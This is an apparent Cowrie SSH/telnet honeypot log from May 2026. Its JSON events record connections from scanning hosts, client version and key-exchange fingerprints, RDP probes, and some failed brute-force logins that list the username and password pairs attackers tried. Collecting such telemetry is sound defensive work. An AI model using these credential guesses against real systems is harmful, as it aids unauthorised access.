{"eventid":"cowrie.login.failed","username":"root","password":"fisher","message":"login attempt [root/fisher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:49.763986Z","src_ip":"147.45.197.250","session":"6870dd9e2c59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:50.857294Z","src_ip":"147.45.197.250","session":"6870dd9e2c59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47804,"dst_ip":"10.17.0.5","dst_port":23,"session":"c431ddaca20b","protocol":"telnet","message":"New connection: 152.42.224.71:47804 (10.17.0.5:23) [session: c431ddaca20b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:56:58.880426Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":46662,"dst_ip":"10.17.0.5","dst_port":22,"session":"db990df27dcd","protocol":"ssh","message":"New connection: 193.32.162.145:46662 (10.17.0.5:22) [session: db990df27dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:02.817559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:02.823005Z","src_ip":"193.32.162.145","session":"db990df27dcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:02.972581Z","src_ip":"193.32.162.145","session":"db990df27dcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"serum","message":"login attempt [ubuntu/serum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:03.318364Z","src_ip":"193.32.162.145","session":"db990df27dcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:04.428990Z","src_ip":"193.32.162.145","session":"db990df27dcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":54438,"dst_ip":"159.203.135.109","dst_port":22,"session":"7605572e0d49","protocol":"ssh","message":"New connection: 87.251.79.125:54438 (159.203.135.109:22) [session: 7605572e0d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:06.242046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:06.246763Z","src_ip":"87.251.79.125","session":"7605572e0d49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:06.318762Z","src_ip":"87.251.79.125","session":"7605572e0d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dimon","message":"login attempt [root/dimon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:06.532870Z","src_ip":"87.251.79.125","session":"7605572e0d49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:07.608774Z","src_ip":"87.251.79.125","session":"7605572e0d49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39600,"dst_ip":"10.17.0.5","dst_port":23,"session":"c48e75fe34e6","protocol":"telnet","message":"New connection: 152.42.224.71:39600 (10.17.0.5:23) [session: c48e75fe34e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:16.402404Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39616,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eb1ff0317cf","protocol":"telnet","message":"New connection: 152.42.224.71:39616 (10.17.0.5:23) [session: 8eb1ff0317cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:24.271372Z"}
{"eventid":"cowrie.session.closed","duration":45.60036897659302,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:24.693427Z","src_ip":"152.42.224.71","session":"39863fe44203","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34388,"dst_ip":"10.17.0.5","dst_port":23,"session":"d987365253c0","protocol":"telnet","message":"New connection: 152.42.224.71:34388 (10.17.0.5:23) [session: d987365253c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:29.630553Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38316,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9025986a01c","protocol":"telnet","message":"New connection: 152.42.224.71:38316 (10.17.0.5:23) [session: f9025986a01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:36.480597Z"}
{"eventid":"cowrie.session.closed","duration":118.12208914756775,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:47.259894Z","src_ip":"152.42.224.71","session":"cd9d72795e67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":49796,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0aaa1ea5226","protocol":"ssh","message":"New connection: 167.172.81.52:49796 (159.203.135.109:22) [session: b0aaa1ea5226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:47.300042Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:47.370652Z","src_ip":"167.172.81.52","session":"b0aaa1ea5226","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:47.374568Z","src_ip":"167.172.81.52","session":"b0aaa1ea5226","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":49764,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d3afe6dfe4b","protocol":"ssh","message":"New connection: 194.113.233.25:49764 (10.17.0.5:22) [session: 1d3afe6dfe4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:47.691477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:47.719623Z","src_ip":"194.113.233.25","session":"1d3afe6dfe4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:47.797307Z","src_ip":"194.113.233.25","session":"1d3afe6dfe4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.83997392654419,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:47.974319Z","src_ip":"152.42.224.71","session":"cac0921d036f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567d","message":"login attempt [root/1234567d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:48.152695Z","src_ip":"194.113.233.25","session":"1d3afe6dfe4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:49.248366Z","src_ip":"194.113.233.25","session":"1d3afe6dfe4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":47318,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc30bfa08924","protocol":"ssh","message":"New connection: 45.117.179.232:47318 (10.17.0.5:22) [session: bc30bfa08924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:50.100290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:50.105000Z","src_ip":"45.117.179.232","session":"bc30bfa08924","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:50.353540Z","src_ip":"45.117.179.232","session":"bc30bfa08924","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123@","message":"login attempt [root/Admin@123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:51.380264Z","src_ip":"45.117.179.232","session":"bc30bfa08924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:52.632922Z","src_ip":"45.117.179.232","session":"bc30bfa08924","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":34788,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ef22ecccf63","protocol":"ssh","message":"New connection: 94.159.98.239:34788 (159.203.135.109:22) [session: 9ef22ecccf63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:55.925767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:55.936581Z","src_ip":"94.159.98.239","session":"9ef22ecccf63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:56.073150Z","src_ip":"94.159.98.239","session":"9ef22ecccf63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:56.594569Z","src_ip":"94.159.98.239","session":"9ef22ecccf63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:57:57.715805Z","src_ip":"94.159.98.239","session":"9ef22ecccf63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00681161880493,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:03.808277Z","src_ip":"152.42.224.71","session":"bcbf05f39faa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":46382,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7202086ce52","protocol":"ssh","message":"New connection: 176.32.39.21:46382 (159.203.135.109:22) [session: f7202086ce52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:07.825485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:07.830261Z","src_ip":"176.32.39.21","session":"f7202086ce52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:07.953481Z","src_ip":"176.32.39.21","session":"f7202086ce52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thebest","message":"login attempt [root/thebest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:08.321953Z","src_ip":"176.32.39.21","session":"f7202086ce52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:09.444646Z","src_ip":"176.32.39.21","session":"f7202086ce52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.9349684715271,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:14.337255Z","src_ip":"152.42.224.71","session":"c48e75fe34e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.18769383430481,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:17.458944Z","src_ip":"152.42.224.71","session":"8eb1ff0317cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.78578066825867,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:19.416233Z","src_ip":"152.42.224.71","session":"d987365253c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":103.66442584991455,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:27.761250Z","src_ip":"152.42.224.71","session":"c7903e1bec8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.164432525634766,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:31.644892Z","src_ip":"152.42.224.71","session":"f9025986a01c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58298,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9797a747156","protocol":"telnet","message":"New connection: 152.42.224.71:58298 (10.17.0.5:23) [session: a9797a747156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:38.054291Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54339,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c278448eb2e","protocol":"ssh","message":"New connection: 152.42.212.128:54339 (10.17.0.5:22) [session: 3c278448eb2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:43.037378Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:43.042261Z","src_ip":"152.42.212.128","session":"3c278448eb2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:43.046235Z","src_ip":"152.42.212.128","session":"3c278448eb2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37850,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee1ceb6609b9","protocol":"telnet","message":"New connection: 152.42.224.71:37850 (10.17.0.5:23) [session: ee1ceb6609b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:58:57.591920Z"}
